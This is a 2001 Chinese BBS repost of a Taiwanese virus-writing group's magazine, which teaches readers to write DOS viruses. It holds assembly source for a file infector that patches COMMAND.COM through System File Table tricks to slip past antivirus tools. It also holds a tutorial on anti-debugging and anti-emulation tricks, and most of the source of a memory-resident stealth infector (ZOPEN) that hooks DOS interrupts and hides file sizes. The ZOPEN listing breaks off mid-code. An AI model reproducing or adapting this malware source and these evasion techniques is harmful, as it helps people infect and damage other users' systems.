荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: fast (平淡), 信区: Virus
标  题: 台 湾 威 力 病 毒 组 织 病毒杂志
发信站: 荔园晨风BBS站 (Thu May 10 23:05:56 2001) , 转信

台 湾 威 力 病 毒 组 织 病毒杂志

第一期

一.系统档案表格(SFT) -----------------------by Dark Slayer
二.反追踪之技巧-----------------------------by Zhuge Jin
三.金蝉 V.S ZLOCK (附:ZOPEN.ASM)-----------by Zhuge Jin
四.最小的档案型病毒-Cute -------------------by Dark Slayer
五.台湾第一只伴随型病毒(解析) ---------------by Dark Slayer
六.伴随型病毒-Terra'X ----------------------by Zhuge Jin
七.一只开机型病毒-NOVA ---------------------by Zhuge Jin
八.我的「第一次」- Abomb -------------------by Poison Maker
=======================================================================
◎系统档案表格(SFT) ◎
by Dark Slayer of TPVO
=======================================================================
嗨!我是DS,由于我住在学校宿舍,但是一个礼拜会回来一次,所以我每个礼拜
都会写一些技术资料给各位成员,希望大家好好努力,欢迎写信和我讨论,但是我一
个礼拜只能回来回一次信,抱歉罗...
这次我要讲的是SFT (System File Table,系统档案表格) 的应用。
当我们用DOS 的File Handle 来读写档案时,有没有人想过它的原理,假设一开
始档案指标指向档案开头,我们读取或写入这个档案后会改变它的指标,是否有人想
过它将这个指标值记录在哪里? 如果我们写入一个档案,DOS 如何能得知在关档时怎
样更改此档的目录? 关于这一切档案处理的资料都记录在SFT 之中,oh... yeah...
SFT!!!是写毒者的强力工具,深入了解SFT 并且应用在您的病毒之中,将会使您的毒
变的更强,事实上... 早在DOS 3.3 的时代就已经有人利用SFT 来写毒了,他就是保
加利亚的毒王Dark Avenger,国外使用SFT 的技术很久了,但是我们国内的病毒作者
却很少有人懂的去利用SFT(我例外啦... 呵呵呵...)OK!废话不多说... 我们赶快来
看看这样一个好东西...
DOS 4.0-6.2 的 SFT 格式 (取自 INTRLIST,由我翻译)
偏移 大小 描述
00h WORD 参考至此档案的 handle 个数
02h WORD 开档模式 (参考 AH=3Dh,int 21h)
如果此档是利用FCB 来开档则 bit 15=1
04h BYTE 档案属性 (参考 AH=43h,int 21h)
05h WORD 装置资讯 (参考 AX=4400h,int 21h)
bit 15=1 表是此档为远方 (在网路上)
bit 14=1 在关档时不要设定档案的日期及时间
bit 7 1: 设备 device,0: 档案
bit 6 =1 档案尚未被写入
bits 5~0 当 bit 7=1 时磁碟机编号 (0=A:,1=B: ...)
bit 7=0 时为装置资讯
07h DWORD 如果是字元装置,则此为指向装置驱动程式表头之指标
否则,此为指向DOS 磁碟参数区块 (DPB) 之指标
(参考 AH=32h,int 21h)
0Bh WORD 档案的启始丛集 (cluster)
0Dh WORD 档案时间 (参考 AH=57h,int 21h)
0Fh WORD 档案日期 (参考 AH=57h,int 21h)
11h DWORD 档案大小
15h DWORD 档案读写指标 (参考 AH=42h,int 21h)
19h WORD 最后一次存取的 cluster 之相对 cluster 编号
1Bh DWORD 此档案目录进入点的磁区编号 (可用直接用 int 25h/26h 读写)
1Fh BYTE 一个磁区中,可容纳的目录个数
20h 11 BYTEs FCB 格式的档名 (无路径,无句点 '.',剩下的空间以
空白 space (ASCII code 20h) 补足
2Bh DWORD (SHARE.EXE) 指向前一个 SFT 共用相同档案之指标
2Fh WORD (SHARE.EXE) 开启档案的网路机器编号
31h WORD 档案拥有者的 PSP 区段,AUX/CON/PRN 指向 IO.SYS
33h WORD (SHARE.EXE) 在 SHARE 程式段中共用录的偏移值
0000h=没有 SHARE
35h WORD 最后一次存取的 cluster 之绝对 cluster 编号
37h DWORD 指向 IFS 驱动程式之指标
看完了上面的资料后是否觉得很复杂? 或是感到兴奋? 它可是含括许多好用的东西
(或者该叫武器?!)
当我们用DOS 的AH=3Dh int 21h来开档,DOS 便为此档建立了SFT ,但是你可能会
感到疑惑! 如何取得此SFT 的位址呢? 看下面吧...
mov ax,3d02h
mov dx,offset file_name
int 21h ; 开档
xchg bx,ax
push bx ; 存 File Handle,因为底下改变了 BX
mov ax,1220h
int 2fh ; 取得工作档案表格 JFT (Job File Table)
mov ax,1216h
xor bh,bh ; bh=0
mov bl,es:[di] ; bl=es:[di]=JFT 的编号
int 2fh ; 取得 SFT 的位址
pop bx ; 拿回 File Handle

--------D-2F1220-----------------------------
INT 2F U - DOS 3+ 内部使用 - 取得工作档案表格
AX = 1220h
BX = file handle
传回: CF =1 错误
AL = 6 (无效的 file handle)
CF =0 成功
ES:DI -> 在目前程序中,档案代码的 JFT (byte)
Notes: the byte pointed at by ES:DI contains the number of the SFT for the
file handle,or FFh if the handle is not open
supported by DR-DOS 5.0+
SeeAlso: AX=1216h,AX=1229h
--------D-2F1216-----------------------------
INT 2F U - DOS 3+ internal - 取得 SFT 的位址
AX = 1216h
BX = SFT 编号 (也就是用 AX=1220h int 2Fh 取得的 JFT)
Return: CF =0 成功
ES:DI -> SFT 位址
CF =1,BX 大于 FILES=xxxx
Note: supported by DR-DOS 5+
SeeAlso: AX=1220h

帅吧?!利用DOS 未公开的功能int 2Fh 来取得SFT ,事实上int 2Fh 有许多好用
的功能,以后会介绍的。
取得SFT 之后要干嘛? 嘿嘿嘿... 取得它之后,许多酷的技巧都可以靠它展现
罗,接下来完全要看各人的想像力与创意罗... 我指出几点可以利用到SFT 的地方
,其它更深入的应用以后再讲,或是你自己可以先试试看,发挥您求知的精神吧!
DOS 4.0-6.2 的 SFT 格式 (取自 INTRLIST,由我翻译)
偏移 大小 描述
00h WORD 参考至此档案的 handle 个数
02h WORD 开档模式 (参考 AH=3Dh,int 21h)
如果此档是利用FCB 来开档则 bit 15=1
我用3D00h 开档,再将此处改为 2,如此可以用读写模式来存取此档,这样可
以骗过那些烂AV,因为AV以为用3D00h 开档就不可能被写入了,所以可能会不防这
招...
04h BYTE 档案属性 (参考 AH=43h,int 21h)
用3D02h 开档之前要先用4300h 得到档案属性,再用4301h 更改档案属性为非隐藏
、可读写吗?不用啦!!呵呵... 我们只要用3D00h 开档 (如上面所讲) 再保存此
处之值,然后将它设为0,一样有相同的功能喔!
05h WORD 装置资讯 (参考 AX=4400h,int 21h)
bit 15=1 表是此档为远方 (在网路上)
bit 14=1 在关档时不要设定档案的日期及时间
bit 7 1: 设备 device,0: 档案
bit 6 =1 档案尚未被写入
bits 5~0 当 bit 7=1 时磁碟机编号 (0=A:,1=B: ...)
bit 7=0 时为装置资讯
在写入一个档案之前要先保存它的时间和日期吗?不必罗... 感染完之后,在关档
之前将bit 14设为1 ,则关档后一样不会改变到时间和日期。
07h DWORD 如果是字元装置,则此为指向装置驱动程式表头之指标
否则,此为指向DOS 磁碟参数区块 (DPB) 之指标
(参考 AH=32h,int 21h)
Assassin病毒怎么得,要感染的档案后面剩余的cluster 有多少呢?当然是先得知
此磁碟的一个cluster 有几个磁区(sector),再拿档案长度来算即可得知如何取得
这些资料呢?当然是从DPB 罗...
0Bh WORD 档案的启始丛集 (cluster)
0Dh WORD 档案时间 (参考 AH=57h,int 21h)
0Fh WORD 档案日期 (参考 AH=57h,int 21h)
不须用AH=57h一样可以得到档案时间与日期
11h DWORD 档案大小
不须用AX=4202h,CX=DX=0,int 21h 一样可以得到档案大小
15h DWORD 档案读写指标 (参考 AH=42h,int 21h)
直接更改这边的值和用AH=42h int 21h效果是一样的
19h WORD 最后一次存取的 cluster 之相对 cluster 编号
1Bh DWORD 此档案目录进入点的磁区编号 (可用直接用 int 25h/26h 读写)
1Fh BYTE 一个磁区中,可容纳的目录个数
20h 11 BYTEs FCB 格式的档名 (无路径,无句点 '.',剩下的空间以
空白 space (ASCII code 20h) 补足
2Bh DWORD (SHARE.EXE) 指向前一个 SFT 共用相同档案之指标
2Fh WORD (SHARE.EXE) 开启档案的网路机器编号
31h WORD 档案拥有者的 PSP 区段,AUX/CON/PRN 指向 IO.SYS
33h WORD (SHARE.EXE) 在 SHARE 程式段中共用录的偏移值
0000h=没有 SHARE
35h WORD 最后一次存取的 cluster 之绝对 cluster 编号
37h DWORD 指向 IFS 驱动程式之指标
OK!我就拿以前病毒教学Lesson one 的那只小毒来改造,示范如何使用SFT改
造的部份我用小写的指令。
=================(Lesson one - new)==========================================
LESSON_1 SEGMENT
ASSUME CS:LESSON_1,DS:LESSON_1
ORG 100h
START:
NOP ; ┐
NOP ; ├> 保留 3 BYTES 的空间
NOP ; ┘
VIR_START: ; 此处才是真正病毒程式的开端

CALL LOCATE ; 可以想成 PUSH IP
LOCATE: ;
POP SI ;
SUB SI,OFFSET LOCATE ; 减掉多余的值,此时 SI=偏移值
; 由于此毒是接在档案后面,而被感染的档案大小不一,所以病毒接在档案后的偏移
; 也会不一定,而会造成变数无法定位,所以我们要得知偏移了多少
; 下面程式只要牵涉到和记忆体定址有关的部份,都会加上 [SI] 偏移值

MOV AX,WORD PTR DS:FIRST_3_BYTE[SI] ; ┬> 恢复记忆体中,原
MOV DS:[100h],AX ; │ 档案开头,被病毒
MOV AL,DS:FIRST_3_BYTE[SI+2] ; │ 改过的 3 BYTES
MOV DS:[100h+2],AL ; ┘
; 因为此毒第一次执行时,之前并没有感染过档案,而要恢复此 3 BYTES 时会盖到
; 病毒本身,所以一开始我们加了 3 个 NOP 来空出此空间,VIR_START 才是真正
; 的病毒码开始处

mov ax,3D00h ; open file for read only
LEA DX,FILE_NAME[SI] ; DS:DX 指向要开的档名
INT 21h ; 呼叫中断
; 开档成功后,传回 AX=档案代码 (FILE HANDLE)
MOV BX,AX ; BX = AX = FILE HANDLE

push bx ; save BX
mov ax,1220h
int 2fh ; get JFT
mov ax,1216h
xor bh,bh
mov bl,es:[di] ; BL=JFT
int 2fh ; get SFT
pop bx ; restore BX
mov word ptr es:[di+2],2 ; file mode = 2 (read/write)
mov al,es:[di+4] ; AL=file attribute
push ax ; save AX
mov byte ptr es:[di+4],0 ; set file attribute to zero

MOV AH,3Fh ; 读档案
MOV CX,3 ; 读取 3 BYTES
LEA DX,FIRST_3_BYTE[SI] ; DS:DX 指向放资料的位址
INT 21h ; 呼叫中断
; 这个动作是读取档案开头的 3 BYTES 到 FIRST_3_BYTE,保存起来

; MOV AX,4202h ; 移动档案指标 (从档尾算起)
; XOR CX,CX ; CX = 0
; XOR DX,DX ; DX = 0 ,从档尾移动 0 BYTES
; INT 21h ; 呼叫中断
mov ax,es:[di+11h] ; AX=file length
mov es:[di+15h],ax ; set access point to file end
; 因为是 .com 档,小于 64K,
; 所以只处里低字组就可以了

; 这个动作是把档案读写指标移到档尾,而由 DX:AX (DX = HIGH,CX = LOW) 传回
; 移动后的指标对于档头的距离,所以此时 DX = 0 (COM 档小于 64K),AX = 档案
; 长度

SUB AX,3 ; 计算出 JMP 的偏移值
MOV WORD PTR DS:JMP_BYTE[SI+1],AX ; 保存偏移值
; 这个动作是计算要从档头 JMP 至档尾 (病毒码开端) 所需的偏移

MOV AH,40h ; 写档案
MOV CX,VIR_SIZE ; CX = 病毒长度
LEA DX,VIR_START[SI] ; DS:DX 指向病毒程式开端
INT 21h ; 呼叫中断
; 这个动作是把病毒本体写入档案,由于上个动作已经把档案指标移到档尾,所以
; 这次的写入是从档尾开始,也就是说把病毒体串接在档尾

; MOV AX,4200h ; 移动档案指标 (从档头算起)
; XOR CX,CX ; CX = 0
; XOR DX,DX ; DX = 0,从档头移动 0 BYTES
; INT 21h ; 呼叫中断
mov word ptr es:[di+15h],0
; 这个动作是把档案读写指标移到档头,以便修改档头前 3 BYTES

MOV AH,40h ; 写档案
MOV CX,3 ; 写入 3 BYTES
LEA DX,JMP_BYTE[SI] ; DS:DX 指向 JMP 的程式码
INT 21h ; 呼叫中断
; 这个动作是把我们原先所记算的 JMP 码写到档头前 3 BYTES,如此一来程式一执
; 行就会跳至病毒程式开端

pop ax ; AX=file attribute
mov es:[di+4],al ; restore file attribute
or word ptr es:[di+5],0100000000000000b
; 关档时不要改变时间和日期

MOV AH,3Eh ; 关档案
INT 21h ; 呼叫中断
push cs
pop es ; 因为取SFT 而改变了 es
MOV AX,100h ; AX = 100h (COM 档一开始执行的位址)
PUSH AX ; PUSH 给下个 RET 指令的值
RET ; RET 到 100h
; 因为病毒该做的是都做完了,所以返回 100h 去执行原档案

FILE_NAME DB 'C:\COMMAND.COM',0
FIRST_3_BYTE DB 0CDh,20h,? ; DB 0CDh,20h = INT 20h (程式结束)
JMP_BYTE DB 0E9h,?,? ; 0E9h,?,? = JMP XXXX
MSG DB 'This is [LESSON ONE] virus by Dark Slayer'
DB ' in Keelung, Taiwan <R.O.C> of TPVO'
VIR_SIZE EQU $-OFFSET VIR_START
LESSON_1 ENDS
END START
========================================================================
◎反追踪之技巧◎
by Zhuge Jin of TPVO
========================================================================
嗨!今番要跟大家研究一些反追踪的技巧... 虽然这跟病毒没有很直接的关系
,但能够让一些 AV 被耍的团团转也蛮好玩的...
早期的人在防别人 debug 的时候,不是当掉 int 1h 、int 3h 不然就是将键
盘锁住,这样一来就没办法再 trace 。虽然这些方法不见得有多大的高明,但她
终究也达到防 trace 的目的... 随著一些工具的诞生,这些方法都已不能再做到
踪的要求... 于是... 嘻!各种稀奇古怪的方法也接二连三的被挖掘出来了!而我
反追写这篇的目的,就是将她来个总整理... 这也是我目前的职责所在... :_)
************************
1) 使用一些特殊的指令???
************************
我们首先要找一些比较特别的指令来放入我们的病毒内,这样一来就可让一些
AV无法追下去,如此你就可以达到反追踪的目的... 我们就拿TBAV中的TBCLEAN 来
开刀吧... (喔!这是一个免费的 AV )
C:\TBAV>debug
-a100
xxxx:xxxx LOCK ; 这道指令 TBCLEAN 是没法模拟的!为什么呢?
xxxx:xxxx int 20h ; 可能该作者有特别的理由吧...
xxxx:xxxx <Enter>
-n test.com
rcx
:3
-w
-q
C:TBAV>tbclean test.com
除了这个指令外,尚有 ENTER 、LEAVE 、PUSH ??h 、PUSH ????h ...
当然啦!不只这些指令可用... 你可以去试试看一些 *not used* 的指令!!!
再来就是 87 指令... 据目前我所看到的 AV 中,没一套是能够模拟这些算数
运算器的指令... (除了 PTAV 之外... 是为了解我的第一只多形而加的... 嘻!)
当然你也可以试试 TBCLEAN 看可以不可以模拟!这个答案是否定的... 因为只要
是他不认识的指令!都可达到反追踪的目的,这样说你应该可以了解吧! :_)
除了以上提到的指令之外!我们还可以使用一些奇特的指令??嘻!这要感谢
DS给我一些建议...
1) D6h (Set AL to carry)
如果 CF=1 的话,AL 就被设为 FFh!
如果 CF=h 的话,AL 就被设为 00h!
2) F1h
这道指令在 ICE 当中!被做为中断点... 跟 debug 中的 int 3h 有相同的
用途...
************
2) 硬体&中断
************
1) int 00h (除 0 错误)
...
xor ax,ax
mov ds,ax
push word ptr ds:[0002h]
push word ptr ds:[0000h]
mov ds:[0002h],cs
mov ax,OFFSET int0_jmp
mov ds:[0000h],ax
xor ax,ax
div ax ; 因为 ax:=0000h 而 ax 除以 ax 而触发
int 20h ; int 0h 中断... 使程式转到 int0_jmp !
... ; 而不是执行 int 20h ...
int0_jmp:
pop ax
pop ax
pop ax
pop word ptr ds:[0000h]
pop word ptr ds:[0002h]
...
这个方法我原先是加在 GCAE v2.0 中,没想到后来我的朋友传给我一些杂志中
,居然有相同的方法,可见外国的技术一直比我国强,因此大家要加油罗...
在以前没有一个 CPU 指令模拟可追得下去的... (除了新版的 PTAV之外...)

类似这种方法,还有int 5h(与bound有关)、int 6h(非法指令中断)、int 7h
、int 0dh ... 有兴趣自行去研究吧... (哇! 我好堕落喔...) :_)
2) int 02h (不可遮罩中断)
...
xor ax,ax
mov ds,ax
push word ptr ds:[000ah]
push word ptr ds:[0008h]
mov ds:[000ah],cs
mov ax,OFFSET int0_jmp
mov ds:[0008h],ax
int 75h ; 为何要呼叫 int 75h 呢??嘻!跟据
int 20h ; 我的观察... 这个中断里有一道 int 02h!
... ; 因此... :_)
int2_jmp:
add sp,000ch
pop word ptr ds:[0008h]
pop word ptr ds:[000ah]
...
嘻!这个方法我打算用在我的下一版变体引擎中... 到目前为止,没一个可以模
拟啦 (我用过 TBAV 试的...) !
此外... 还可用 I/O port 来引发 int 2h 中断,有兴趣的可以去研究看看...
port: 61h 、70h ...
***************
3) CPU 指令伫列
***************
咦?伫列?没听过?没错... 起初我也不知道她的原理!但我现在之知道罗...
多亏高人指点!又加上我的聪明才智... (哈!好像有点臭屁...)
mov ah,09h
mov word ptr ds:[OFFSET reg_dx+01h],OFFSET msg2 ;*
reg_dx:
mov dx,OFFSET msg1
int 21h
int 20h
msg1 db 'Fuck the Mad Satan! Shit!','$'
msg2 db 'Oh! Zhuge ... You are great!!!','$'
嗯!在 debug 下追的时后,所得到的是 msg2 ... 但在 DOS 下却是 msg1
怎样?够好玩吧... 为什么会产生这种情况呢??这是因为 Intel的CPU 在执行
时会连下几个指令都一起载入... (可能是比较省时吧!!)而此时星号执行后,
在程式中虽然mov dx,OFFSET msg1被替换成mov dx,OFFSET msg2,但在 CPU当中
确没改变,照成执行的结果是 msg1 !!当然啦!如果在星号后有加个jmp 或是
call的话,这种现象就不会发生了!这样应该了解这个跟反追踪什么关系吧!还
可以用这个方法来改变程式流程哦...
不过... 在 Pentium 中就不会这么好了... 原因是这个 CPU 中有了 Prefetch
queues 回写的功能... (我是看原文的... 好像是这个意思没错!!!) 所以,以
上的问题就只有一种结果罗... :_)
此外,如果你想到一种新反追踪的方法时!我建议你不妨用TBCLEAN 来试,
因为这个不但是免费的,同时也是公认的... 如果这套没法追的话,那其它的有
90%的机率也是没办法了... 当然啦!!这种方法是要比较特殊的,如果是较平
常的话,那就未必了!!希望你会有所心得吧... :_)
========================================================================
◎金蝉 V.S ZLOCK(附:ZOPEN.ASM)◎
by Zhuge Jin of TPVO
========================================================================
嗨!大家好... 我是「黑暗奸杀者」,江湖上大家都叫我「猪哥」。怎样...
很亲切吧... 没错... 我这个人脾气就系很怪!如果此人来意不善,我决不二话,
保证不跟该人有妥协的余地!!没办法... 谁叫我是猪脾气呢??哈!愈讲愈变态

这次Dark Slayer 这位酷哥写了一份SFT 的说明档,大家了解了吗??其实那
里面的一只小毒宝宝已可将ZLOCK 给干掉了... 而我写的这只病毒是一只常驻的!
他不但能干掉ZLOCK ,同时也可隐藏档案大小噎... 相信如果你是初学者!到可以
好好研究,因为这还不算很难写的...
上次聚会的时候,我的好友要求我写个常驻破坏??破坏??我想不到除了干
掉硬碟之外,还有什么就做破坏呢??唉!想当年... 算了... 那干掉ZLOCK 的程
式档算是够狠吧... 嗯!听他们的 USER 说!安装 ZSIR 会当机??嘿!我想...
哈!让他们装了好几次都装不成,够累人哦... :_)
咦!最近好像很少有新病毒可玩玩了,这也代表说他们那些防毒业者没法再招谣撞
骗了... 因此就只能抓些以前一些老毒来季评罗... 像我最近看到 [真衰月刊] ,
他们还是老毛病... 我就引一些来讨论罗... :()
----------------------------------------
1)MSAV 6.22 在此次测试中,读者不难看出
    其防毒功能已不能满足现实需求,且其占
    用46KB记忆体并未带给它太多的优势,希
    望在下一版本有很好的表现。尽管MSAV功
    能不能满足,但其在防御SKID ROW系列、
    BAD HEAD系列、压缩病毒系列,仍然表现
    不错,读者可列为防毒参考。
----------------------------------------
ZJ: 没错!她占记忆体的确很多,可是会不会在下一版改进那就不得而知了...
就算是会有下一版,但也不见得会有所好表现,毕竟Microsoft 应该作的是,
在于系统安全上的补强,而不是在防毒方面上。至于说参考,我想没一人会做
,除非是玩病毒... 总不该叫一些不懂病毒的人将她常驻嘛... 由此可见,他
们还是认为他们最棒的... 你说不是吗??哈!你们说我有没有强辞夺理呢..

----------------------------------------
2)TBAV 6.30 之表现与上次季评差不多,同
样是在侦防上表现优异................
....................................
。另外其解未知毒功能在此次并未发挥太
大的效力,不过其整体表现仍然在一般防
毒软体之上。
----------------------------------------
ZJ: 上次?上次有季评吗?我记得上次季评没看到 TBAV 唉... 虽然她在解未知
毒的效力不太大,但也不致于当的如此的离谱... 至于一般防毒软体之上?
唉!不用我多说吧... 还不都是说自家的最棒...
----------------------------------------
3)PC-CILLIN 4.1 在此次测试中,其侦防的
能力的确应受到肯定,但其对拦截 SKID
ROW之磁区填码型、CRUNCHER压缩型及BAD
HEAD、CVEX资料档感染型,仍未改善,而
对于马盖先4.0 在此次测试,会发生当机
而不致漫延。开机型部份,其资料比对的
防毒方式,在面对GOLDEN CICADA 金蝉病
毒时,显然失效。尽管如此,其仍不失为
防毒时参考的软体。
----------------------------------------
ZJ: 至于当机会不致漫延??好像在说 PC-cillin 是用当机来防 Mac 4.0 的似
... 而他们列举了这么多病毒可突破PC-cillin ,而却说不失为防毒时参考
的软体... 你说有那个白痴看了后会去买 PC-cillin ??我吧!!:_(
----------------------------------------
4)ZSIR 500 是以ZLOCK J4.52 PW37 与ZSIR
F3.6作测试。ZLOCK 在侦、防上的能力,
相当一致,而且在拦截到病毒时所发出的
警告,亦十分明确。此次各位读者可以发
现ZLOCK 在拦截ASSASSIN病毒上出现漏洞
,不过启动MODE 2可以发现有不正常写入
。..................................
----------------------------------------
ZJ: 用 MODE 2 来防??这是他们的藉口啊!大家千万不要受骗啊... 如果用这
样来防啊!那倒不如将硬碟锁起来,何需用 ZLOCK 呢??
----------------------------------------
(1)拦截HD/IO病毒的技术
(2)拦截直接驱动I/O port的病毒
(3)拦截资料感染的技术
(4)可在DOS进入之前拦截开机型病毒
----------------------------------------
ZJ: 首先我先强调一点,病毒在怎变化也只有那几种,没有必要将病毒说的那么
杂,好像病毒有多可怕... 哇!怕死了... 我要买 ZLOCK ...
针对第( 4)点,要破「它」简直太容易... 能在DOS 进入前拦开机型病毒,
那如果在DOS 进入后,病毒再拦中断那不就挂了... 反正他的漏洞就是没想
过,而广告却是绞尽脑汁... 要不是我懒的写,不然的话就把「它」奸杀了
。哇!哈!哈!哈!(又...)
至于趋势呢?哇!大酷哥!!居然连 Stoned 3/6 都出场了... 我真是败给他
了!那是多久的病毒呢?大家都比我还清楚!当时这只病毒是靠一堆外销的原版磁
片而传到荷兰去的,这些我都知道... 我不知道... 我真的不知道??这只毒还有
什么好讲的... 唉!!太酷了... 喂!大姜XX !!我不相信你讲古会比我行...
我读过,西周史 、春秋史 、战国册 、秦汉 、三国 、明 、南明... 其他列传就
自不必再说了... 改天向你讨教讨教... ;_)
看完了上个儿,你对ZLOCK 的真面目有了解多少呢??往后我一有时间我会开
个专栏来揭穿ZLOCK 的假面具... 请大家期待吧!!:_)
==========================================================================
;
; This is [ZOPEN] virus ...
; Written by Zhuge Jin at TPVO , 1995 .
;
..286
ZOPEN SEGMENT
ASSUME CS:ZOPEN,DS:ZOPEN
org 0000h
start:
vir_start:
call locate ;
locate:
pop si ;
sub si,OFFSET locate ; 取偏移值...
chk_vsign:
push cs
pop ds
mov ax,4bach ; 判断病毒有无常
int 21h ; 驻...
cmp ax,0ac4bh ; 若已常驻则转!!!
jz run_org_prg ;
tsr:
mov ax,es ; 取 MCB 的段位置
dec ax ; ...
mov ds,ax ;
cmp byte ptr ds:[0000h],'Z' ; 是最后一个 MCB 吗?
jnz run_org_prg ;
add word ptr ds:[0003h],-para_size ; 帮记忆体减肥罗 :_)
add word ptr ds:[0012h],-para_size ;
mov ax,ds:[0012h] ; *注意* AX=????
push cs
pop ds
push es
xor bx,bx ; set es:=0000h
mov es,bx ;
mov bx,OFFSET vint21h ; 拦 int 21h ...
xchg bx,es:[0084h] ;
mov ds:[si+OFFSET int21_o],bx ;
mov ds:[si+OFFSET oint21_o],bx ;
mov bx,ax ;
xchg bx,es:[0086h] ;
mov ds:[si+OFFSET int21_s],bx ;
mov ds:[si+OFFSET oint21_s],bx ;
mov bx,OFFSET vint2fh ; 拦 int 2fh ...
xchg bx,es:[00bch] ;
mov ds:[si+OFFSET int2f_o],bx ;
mov bx,ax ;
xchg bx,es:[00beh] ;
mov ds:[si+OFFSET int2f_s],bx ;
call get_org_int21h ; 一个非常猪哥的副程式... z.Z.
push si ; 跟上面的 * 号有关系罗...
mov cx,vir_size ; 目的是将病毒常驻到 6??k
xor di,di ; 附近...
mov es,ax ;
cld ;
rep movsb ;
pop si ;
pop es
run_org_prg:
mov ax,ds:[0000h] ; 这里就系执行原程式...
push es ;
pop ds ;
cmp ax,20cdh ; 是 com 档吗?
jnz run_exe ; 不是就转罗... :_)
run_com:
mov ax,cs:[si+OFFSET com_f1]
mov ds:[0100h],ax
mov al,cs:[si+OFFSET com_f2]
mov ds:[0102h],al
push ds
push 0100h
retf
run_exe:
mov ax,es
add ax,0010h
add cs:[si+OFFSET exe_jmp_cs],ax
mov sp,cs:[si+OFFSET org_sp]
add ax,cs:[si+OFFSET org_ss]
mov ss,ax
db 0eah ; jmp exe_jmp_cs:exe_jmp_ip
exe_jmp_ip dw ?
exe_jmp_cs dw ?
get_org_int21h: ; 这里系我取原 DOS 进入点的副程
push ax ; 式... 你有你有的方法, 这方法
push di ; 没固定的... :_)
push si ; 加油!!!
push ds
mov di,si
cld
xor ax,ax
mov ds,ax
mov si,ds:[00c1h]
mov ax,ds:[00c3h]
mov ds,ax
lodsw
cmp ax,9090h
jnz chk_ent
chk_jmp:
lodsb
cmp al,0ffh
jnz chk_jmp
lodsb
cmp al,2eh
jnz chk_jmp
lodsw
mov si,ax
lodsw
push ax
lodsw
pop si
mov ds,ax
chk_ent:
cmp si,0f000h
jae chk_end
lodsb
cmp al,06h
jnz chk_ent
lodsw
cmp ax,551eh
jnz chk_ent
sub si,0003h
mov cs:[di+OFFSET oint21_o],si
mov cs:[di+OFFSET oint21_s],ds
chk_end:
pop ds
pop si
pop di
pop ax
ret
dir_stealth: ; 这里系隐藏档案大小的...
call int21h
cmp al,0ffh
jz ds_ext
push ax
push bx
push es
mov ah,2fh
call int21h
cmp byte ptr es:[bx],0ffh
jnz ds_noex
add bx,0007h
ds_noex:
mov ax,es:[bx+19h]
shr ah,01h
cmp ah,64h
jb ds_not
sub word ptr es:[bx+1dh],vir_size
sbb word ptr es:[bx+1fh],0000h
ds_not:
pop es
pop bx
pop ax
ds_ext:
popf
iret
find_stealth: ; 这里系隐藏档案大小的...
popf
call int21h
jc fs_ext
push ax
push bx
push es
mov ah,2fh
call int21h
mov ax,es:[bx+18h]
shr ah,01h
cmp ah,64h
jb fs_not
sub word ptr es:[bx+1ah],vir_size
sbb word ptr es:[bx+1ch],0000h
fs_not:
pop es
pop bx
pop ax
clc
fs_ext:
retf 0002h
vint21h:
pushf
cmp ax,4bach ; 病毒自我判段的 vsign ...
jz vir_sign ;
cmp ax,4b00h ; 是在执行档案吗?
jz vint21_jmp ; 是就转罗...
; cmp ah,3dh ; 这里你可以将之 dismark ...
; jz vint21_jmp ; 而后凡开档都会感染...
; cmp ax,6c00h ;
; jz vint21_jmp ;
cmp ah,11h
jz dir_stealth
cmp ah,12h
jz dir_stealth
cmp ah,4eh
jz find_stealth
cmp ah,4fh
jz find_stealth
dos_int21h:
popf ; 跳回 DOS int21h 去...
jmp dword ptr cs:int21_o ;
vir_sign:
xchg ah,al ; 设置 老猪 vsign ... 〈 〈
popf ; ((
iret ; ( (oo) )
vint21_jmp:
jmp vint21
vint21:
mov cs:reg_ax,ax
push bx
push cx
push dx
push di
push si
push ds
push es
push cs
pop es
cmp ah,6ch
jnz not_ah_6ch
mov dx,si
not_ah_6ch:
mov si,dx
mov ah,60h
mov di,OFFSET buffer
call oint21h
push cs
pop ds
mov si,di
cld
find_00h:
lodsb
cmp al,00h
jnz find_00h
sub si,0004h
lodsw
cmp ax,'OC'
jnz chk_exe_file
lodsb
cmp al,'M'
jnz jmp_ext
jmp infect_file
chk_exe_file:
cmp ax,'XE'
jnz jmp_ext
lodsb
cmp al,'E'
jnz jmp_ext
jmp infect_file
jmp_ext:
jmp vint21_ext
infect_file:
; push es ; 哦! 没事... 无聊写来的...
; mov ax,0b000h ;
; mov es,ax ;
; mov ax,0701h ; 〈 〈
; mov es:[0000h],ax ; (@)(@)
; pop es ; ( (oo) )
call chk_not_file ; 呼叫 不屑感染名单 ...
jc vint21_ext ; CF=1 吗? 是则转!!!
mov ax,3d00h ; 开档
mov dx,di ;
call oint21h ;
jc jmp_ext
mov bx,ax
mov cs:handle,bx
xor ax,ax ; 拦 int 24h ...
mov es,ax ;
push word ptr es:[0090h] ;
push word ptr es:[0092h] ;
mov word ptr es:[0090h],OFFSET vint24h ;
mov word ptr es:[0092h],cs ;
call get_sft ; 取 SFT 的位址 ...
mov word ptr es:[di+02h],0002h ; 这个我们的酷哥已讲过了... R/W mode !
mov ax,es:[di+0fh] ; 取 date ...
shr ah,01h ;
cmp ah,64h ; 比 100 小吗?
jb not_infect ; 是则... 尚未感染... ;_)
jmp close_file ;
not_infect:
push cs
pop es
mov ah,3fh ; 读档案前 1ch bytes
mov cx,001ch ;
mov dx,OFFSET exe_head ;
call oint21h ;
jc close_file
; mov si,dx ; 哦! 方便我解毒用... :_)
; mov di,OFFSET buffer ;
; cld ;
; repz movsb
mov si,dx
mov ax,ds:[si]
cmp ax,'ZM' ; 是 exe 档吗????
jnz infect_com ; 不是就系 com 档罗... :_)
jmp infect_exe
close_file:
mov ah,3eh ; 关档...
mov bx,cs:handle ;
call oint21h ;
xor ax,ax ; 恢复 int 24h ...
mov ds,ax ;
pop word ptr ds:[0092h] ;
pop word ptr ds:[0090h] ;
vint21_ext:
pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
mov ax,cs:reg_ax
popf
jmp dword ptr cs:int21_o
infect_com:
mov ax,ds:[si] ; 保存 com 档前 3 bytes ...
mov ds:com_f1,ax ;
mov al,ds:[si+02h] ;
mov ds:com_f2,al ;
call get_sft
mov ax,es:[di+11h] ; 取该 com 档的 size ...
cmp ax,63000
ja close_file ; 哇! 太大了... 不能用喔...
cmp ax,1000
jb close_file ; 哇! 太小了... 有诈哦...
push ax
mov ds:jmp_f2,ax
sub word ptr ds:jmp_f2,0003h
